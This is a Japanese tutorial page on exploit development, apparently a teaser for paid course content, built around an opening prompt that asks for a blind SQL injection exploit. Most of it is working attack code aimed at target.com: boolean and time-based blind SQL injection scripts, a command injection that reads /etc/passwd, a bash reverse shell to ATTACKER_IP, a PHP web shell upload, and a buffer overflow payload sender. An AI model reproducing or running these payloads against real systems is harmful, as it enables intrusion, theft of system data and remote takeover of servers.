エクスプロイト開発

🔥 Vibe プロンプト

「ブラインドSQLiのエクスプロイトを開発:ブールベース推論でDB名、テーブル、カラムを抽出。」

ブラインドSQLiエクスプロイト

import requests, string

def check(condition):
    payload = f"1 AND ({condition})"
    r = requests.get(f"http://target.com/item?id={payload}")
    return "Item found" in r.text

# DBバージョン抽出
db_version = ""
for i in range(1, 10):
    for c in string.digits + ".":
        if check(f"SUBSTR(version(),{i},1)='{c}'"):
            db_version += c
            break

時間ベースSQLi

import requests, time

def time_check(condition):
    payload = f"1; IF({condition}) WAITFOR DELAY '0:0:5'--"
    start = time.time()
    requests.get(f"http://target.com/item?id={payload}", timeout=10)
    return time.time() - start > 4

if time_check("SELECT COUNT(*) FROM users WHERE role='admin' > 0"):
    print("管理者ユーザー存在!")

コマンドインジェクション

payload = "127.0.0.1; cat /etc/passwd"
r = requests.post("http://target.com/ping", data={"ip": payload})
if "root:" in r.text:
    for line in r.text.split("\n"):
        if ":" in line:
            print(f"ユーザー: {line.split(':')[0]}")

# リバースシェル
# nc -lvnp 4444
payload2 = "127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

ファイルアップロードエクスプロイト

files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
r = requests.post("http://target.com/upload", files=files)
r = requests.get("http://target.com/uploads/shell.php?cmd=id")
print(f"出力: {r.text}")

バッファオーバーフロー

# EIPオフセット: 524バイト
payload = b"A" * 524 + b"BBBB" + b"\x90" * 32 + shellcode
s = socket.socket()
s.connect(("target.com", 9999))
s.send(payload)

エクスプロイト開発プロセス

1. ファジング: クラッシュポイント特定
2. 制御: EIPまでのオフセット特定
3. 悪い文字: 使用不可バイト特定(\x00, \x0a)
4. リターン: JMP ESPアドレス発見
5. シェルコード: msfvenomで生成
6. エクスプロイト: 最終ペイロード構築
7. テスト: デバッガで検証

ベストプラクティス

  • エクスプロイトを複数回テスト
  • エクスプロイト前にバージョン/OS確認
  • エグハンターの使用
  • エクスプロイト前提条件を文書化
  • テスト後にアーティファクトをクリーンアップ

重要なポイント

  • コアコンセプトをしっかり理解する
  • ハンズオンコード例で実践する
  • 実世界の問題に応用する
  • 演習で知識を強化する

さらに学ぶ

  • 公式ドキュメント
  • GitHubのオープンソースプロジェクト
  • コミュニティフォーラムとディスカッション
  • 関連コースとチュートリアル

完全なチュートリアルをロック解除

このチャプターは有料コンテンツです。プロジェクトに参加して、10以上の神レベルのPromptや実際のソースコード例を含む、5000字以上の深い分析をロック解除してください!